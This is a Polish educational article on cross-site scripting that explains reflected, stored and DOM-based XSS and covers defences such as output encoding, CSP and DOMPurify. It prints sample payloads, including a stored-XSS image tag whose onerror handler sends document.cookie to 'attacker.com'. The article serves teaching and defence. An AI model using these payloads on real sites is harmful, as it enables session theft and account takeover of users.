Cross-Site Scripting (XSS): atak i obrona
Ataki XSS wstrzykują złośliwe skrypty do stron, by kraść tokeny sesji i przekierowywać użytkowników. Poznaj XSS odbity, zapisany i oparty na DOM na prawdziwych przykładach.
Spis treści
Czym jest Cross-Site Scripting?
Cross-Site Scripting (XSS) to jedna z najbardziej rozpowszechnionych podatności w sieci, od dekad niezmiennie obecna na liście OWASP Top 10. Idea jest prosta, ale groźna: atakujący znajduje sposób, by wstrzyknąć złośliwy JavaScript do strony, którą inni użytkownicy załadują w swoich przeglądarkach. Gdy przeglądarka ofiary wyrenderuje tę stronę, wykona skrypt atakującego z pełnym zaufaniem domeny źródłowej — co oznacza, że skrypt może czytać ciasteczka, kraść tokeny sesji, wysyłać uwierzytelnione żądania, przekierowywać użytkowników czy po cichu rejestrować naciśnięcia klawiszy.
XSS nie jest podatnością po stronie serwera w tradycyjnym sensie. Serwer jest tylko mechanizmem dostarczania. Exploit działa w całości w przeglądarce ofiary.
Trzy rodzaje XSS
XSS odbity (reflected)
XSS odbity występuje, gdy dane wpisane przez użytkownika są od razu zwracane w odpowiedzi serwera bez oczyszczenia. Klasycznym przykładem jest strona wyszukiwania:
GET /search?q=<script>alert(document.cookie)</script>
Jeśli serwer zwróci You searched for: <script>alert(document.cookie)</script> bez zakodowania nawiasów ostrych, przeglądarka wykona ten skrypt. Ładunek jest przenoszony w adresie URL, więc atakujący musi dostarczyć link ofierze — zwykle przez phishing. XSS odbity jest nietrwały: złośliwy skrypt nie jest nigdzie zapisywany, a każda ofiara musi kliknąć spreparowany link.
XSS zapisany (stored)
XSS zapisany (trwały) jest znacznie groźniejszy. Ładunek trafia do bazy danych aplikacji — w komentarzu, nazwie użytkownika, polu profilu czy dowolnym innym zapisywanym polu — i jest serwowany każdemu, kto ogląda tę treść. Jedno udane wstrzyknięcie może przejąć tysiące sesji bez dalszego udziału atakującego. Częstym celem są platformy społecznościowe, fora i systemy zarządzania treścią. Ładunek XSS zapisanego może wyglądać tak:
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
Wstawiony do pola komentarza uruchamia się u każdego użytkownika oglądającego stronę.
XSS oparty na DOM
XSS oparty na DOM w ogóle nie dotyka serwera. Podatność istnieje wyłącznie w kodzie JavaScript po stronie klienta, który czyta dane ze źródła kontrolowanego przez atakującego (np. location.hash czy document.referrer) i zapisuje je do niebezpiecznego miejsca (np. innerHTML czy eval). Przykład:
// Vulnerable code
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
Wejście na page.html#<img src=x onerror=alert(1)> uruchamia ładunek. Ponieważ ładunek nigdy nie opuszcza przeglądarki, kodowanie danych wyjściowych po stronie serwera nie pomoże — trzeba poprawić sam JavaScript.
Co atakujący mogą zrobić za pomocą XSS
XSS to nie tylko alert(1). Prawdziwe ataki wykorzystują go do:
- Kradzieży ciasteczek sesji i przejmowania uwierzytelnionych sesji
- Przechwytywania danych logowania przez wstrzykiwanie fałszywych formularzy logowania na zaufane strony
- Wykonywania działań w stylu CSRF w imieniu ofiary z wykorzystaniem jej uwierzytelnionej sesji
- Dostarczania złośliwego oprogramowania drive-by przez przekierowania do zestawów exploitów
- Kopania kryptowalut po cichu w tle
- Keyloggingu na stronach bankowych i sklepach internetowych
Obrona: kodowanie danych wyjściowych
Podstawową obroną przed XSS jest kontekstowe kodowanie danych wyjściowych — escapowanie znaków przed wstawieniem niezaufanych danych do strony HTML. Zasady kodowania zależą od kontekstu:
- Kontekst HTML: koduj
<,>,&,",'jako encje HTML - Kontekst JavaScript: koduj jako JSON lub używaj sekwencji
\uXXXX - Kontekst URL: koduj wartości procentowo
- Kontekst CSS: w miarę możliwości nie wstawiaj danych użytkownika do bloków stylów
Nowoczesne frameworki, takie jak React, Angular i Vue, domyślnie kodują dane wyjściowe. Unikaj API wstawiających surowy HTML, takich jak innerHTML, dangerouslySetInnerHTML czy v-html, z niezaufanymi danymi.
Obrona: Content Security Policy
Content Security Policy (CSP) to nagłówek odpowiedzi HTTP, który mówi przeglądarce, z jakich źródeł mogą pochodzić wykonywane skrypty. Silna polityka CSP może zapobiec uruchomieniu wstrzykniętych skryptów, nawet jeśli kodowanie zawiedzie:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
Najskuteczniejsze jest użycie wartości nonce (losowych tokenów generowanych dla każdego żądania i dodawanych do prawdziwych tagów script). Unikaj unsafe-inline i unsafe-eval — niweczą większość korzyści z CSP. Sprawdź swoją politykę na csp-evaluator.withgoogle.com.
Obrona: walidacja i oczyszczanie danych wejściowych
Walidacja danych wejściowych powinna być drugą linią obrony, a nie pierwszą. Odrzucaj dane niezgodne z oczekiwanym formatem (np. pole e-mail nie powinno akceptować tagów <script>). Gdy musisz dopuścić bogaty HTML (np. w edytorze WYSIWYG), użyj specjalnego narzędzia do oczyszczania, takiego jak DOMPurify, zamiast pisać własną listę dozwolonych elementów — własne mechanizmy oczyszczania są notorycznie łatwe do obejścia.
Ustaw też flagę HttpOnly dla ciasteczek sesji, by JavaScript nie mógł ich odczytać — ograniczy to szkody po udanym ataku XSS.
Testowanie pod kątem XSS
Aby znaleźć XSS we własnych aplikacjach:
- Zmapuj każde miejsce, w którym dane użytkownika są zwracane lub zapisywane (parametry URL, pola formularzy, nagłówki HTTP, odpowiedzi JSON)
- Sprawdź każde z nich prostą sondą, np.
<"'>, i zobacz, jak dane wyjściowe są kodowane - Używaj narzędzi takich jak Burp Suite, OWASP ZAP czy Dalfox do automatycznego skanowania
- Ręcznie sprawdzaj miejsca podatne na XSS oparty na DOM, przeglądając JavaScript pod kątem niebezpiecznych wzorców, takich jak
innerHTML,document.writeieval
Znaleziska XSS powinny być zawsze traktowane jako poważne w programach bug bounty i testach penetracyjnych — możliwość wykonania dowolnego JavaScriptu w kontekście przeglądarki ofiary to niezwykle potężne narzędzie.